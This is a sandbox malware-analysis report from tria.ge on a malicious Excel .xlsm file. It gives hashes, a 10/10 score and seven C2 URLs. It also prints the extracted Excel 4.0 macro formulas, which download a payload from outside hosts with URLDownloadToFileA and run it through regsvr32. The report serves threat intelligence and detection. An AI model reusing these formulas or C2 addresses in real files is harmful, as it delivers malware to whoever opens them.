Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    984ec5d3b481b6b2c4c4f3073557ff746b316eedb53ddfcdd7ae0532f32fd9df

  • Size

    51KB

  • MD5

    a960546745c3d30eacf6e5445086986a

  • SHA1

    19abfeae6eb46f6b05dd6d44fbba5759bf334fb5

  • SHA256

    984ec5d3b481b6b2c4c4f3073557ff746b316eedb53ddfcdd7ae0532f32fd9df

  • SHA512

    bc36c06bd3ac6c9ab14f4ac19c68944658cd5319d89cc2e963cff2753206db7be90d239b44666eb7f913dae63bb79ae3e085d99f935ad322aef817623c820e5a

  • SSDEEP

    768:qICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:qItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

http://henrysfreshroast.com/0Rq5zobAZB/

http://185.210.144.149/app/1BKfC3id6jsiH0MC/

http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/

http://45.76.178.115/sample_sticker/tihOPhaF1l0V/

http://abinsk.com/cgi-bin/fm63rXkG5Y/

http://academicinst.com/wp-includes/44ZVeVQBkeOG/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 984ec5d3b481b6b2c4c4f3073557ff746b316eedb53ddfcdd7ae0532f32fd9df
    .xlsm office2007